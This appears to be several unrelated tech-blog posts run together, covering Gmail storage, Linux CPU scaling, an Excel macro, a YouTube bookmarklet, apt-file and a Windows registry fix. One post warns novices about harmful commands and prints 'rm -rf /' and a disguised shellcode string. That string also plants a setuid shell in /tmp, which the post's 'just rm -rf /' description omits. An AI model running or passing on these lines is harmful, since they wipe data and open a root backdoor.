Google has really changed the game for webmail since they launched Gmail five years ago. Now free Gmail is offering over 7GB. But if this is not enough for you, you can upgrade to 20GB for merely 5 bucks a year.

Here is the list of plans.

Excited? Where to purchase? Here you go! (link) Just to remind you that if you do upgrade, not only you can use that extra space in Gmail, also in Picasa Web Albums.

cat /proc/cpuinfo | grep -i Mhz

You will see your CPU speed in Mhz. To take control of your CPU speed, you need to install cpufreq utility.

sudo apt-get install cpufrequtils

There are four modes come with the utility. They are as follow:

• ondemand

CPU frequency is scaled based on load.

• conservative

The CPUfreq governor "conservative", much like the "ondemand" governor, sets the CPU depending on the current usage. It differs in behaviour in that it gracefully increases and decreases the CPU speed rather than jumping to max speed the moment there is any load on the CPU. This behaviour more suitable in a battery powered environment.

• performance

CPU only runs at max frequency regardless of load.

• powersave

CPU only runs at min frequency regardless of load.

Depending on your need, you can set cpu freq as you desire. For example: to change to ondemand mode, type this command

cpufreq-set -g ondemand

In case if you have more than one CPU, you need to repeat the command with option c. You can check how many CPU you have by typing

ls /sys/devices/system/cpu/

To set the cpufreq for second cpu, you need to use option c as follow:

cpufreq-set -c 1 -g ondemand

I hope this will be helpful. Any question? Leave a comment as usual.

Well, the bad news is that there’s no built-in function as of Excel 2007. You need to use some marco to do just that.

Here’s the procedure. This procedure applies to all Excel versions from 97 to 2007, however I’ll provide screenshot using Excel 2007.

• Open your Excel file.

• In Excel 2007, Go to Developer tab, click Visual Basic. (All other Excel versions, go to Tools menu -> Marco –> Visual Basic Editor)

• Then in Visual Basic window, Insert Menu –> Module

• After that copy and paste the following code into the module window.

Sub Delete_Every_Other_Row()

   ' Dimension variables.
   Y = False              ' Change this to True if you want to
                          ' delete rows 1, 3, 5, and so on.
   I = 1
   Set xRng = Selection

   ' Loop once for every row in the selection.
   For xCounter = 1 To xRng.Rows.Count

       ' If Y is True, then...
       If Y = True Then

           ' ...delete an entire row of cells.
           xRng.Cells(I).EntireRow.Delete

       ' Otherwise...
       Else

           ' ...increment I by one so we can cycle through range.
           I = I + 1

       End If

       ' If Y is True, make it False; if Y is False, make it True.
       Y = Not Y

   Next xCounter

End Sub

• Go back to your excel workbook,  Select the Cells that you want for alternative rows to delete. Note : It is important to select the cells, if you select the whole column, Excel will most likely hang when you run Macro.

• After that, click Marcos under Developer tab in Excel 2007. (All other excel versions, Tools menu –> Marcos ) You should see the dialog box as follow. Click on Run.

Bravo! That’s it! Hopefully Excel 2010 will have built-in function for this.

• Copy the following code.

javascript:window.location.href = ‘http://youtube.com/get_video?video_id=’ + swfArgs['video_id'] + “&fmt=22″ + “&l=” + swfArgs['l'] + “&sk=” + swfArgs['sk'] + ‘&t=’ + swfArgs['t'];

• Then Right Click on the bookmark bar, select New Bookmark.
• Paste the above code in Location field, type the Name as anything you like (For me “Download Youtube HD”). Click Add.

• Then go to the youtube hd movie you want to download.
• Click Download Youtube HD button on your bookmark bar. You should get the following dialog box.

That’s it!! Save that video.mp4 file in your preferred location and rename the file to anything you like.

Still don’t get it? Perhaps the following video tutorial might be able to help you.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.

For those of you who don’t know what is rpm -qf <filename>, this command is very useful if you used rpm package management system. It will tell you which package manage that file.

Many people are not aware of the Debian alternative for rpm -qf. First you need  to install apt-file by using the following command.

• -sudo apt-get install apt-file

Now you can search the package of the file by using:

• sudo apt-file search –fixed-string $<filename>

That’s it! I hope this will help you in your troubleshooting, debugging, resolving version conflicts, etc…

Recently I’ve noticed that there’s no size column in My Computer or Windows Explorer. Then when I tried to look in the details list, it’s not listed as an option.

Very wired indeed. After a few rounds of Googling, I’ve found that Windows Search 4.0 is the culprit. Before I give a boot to Windows Search 4.0, I’ve found better solution.

The problem could be due to during installation of Windows Search 4.0, my Property Schema Cache was not created correctly. Deleting the following registry key solved my problem.

HKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\@CachedSchema

Twitter has got very serious security loopholes.

• First no password protection for continuous retried attempts.
• Second, what kind of admins would have used such a dictionary password.

Anyway, it was a fun for hackers community as they got the glimpse of famous celebrity such as Obama, Britney and even Fox News official account.
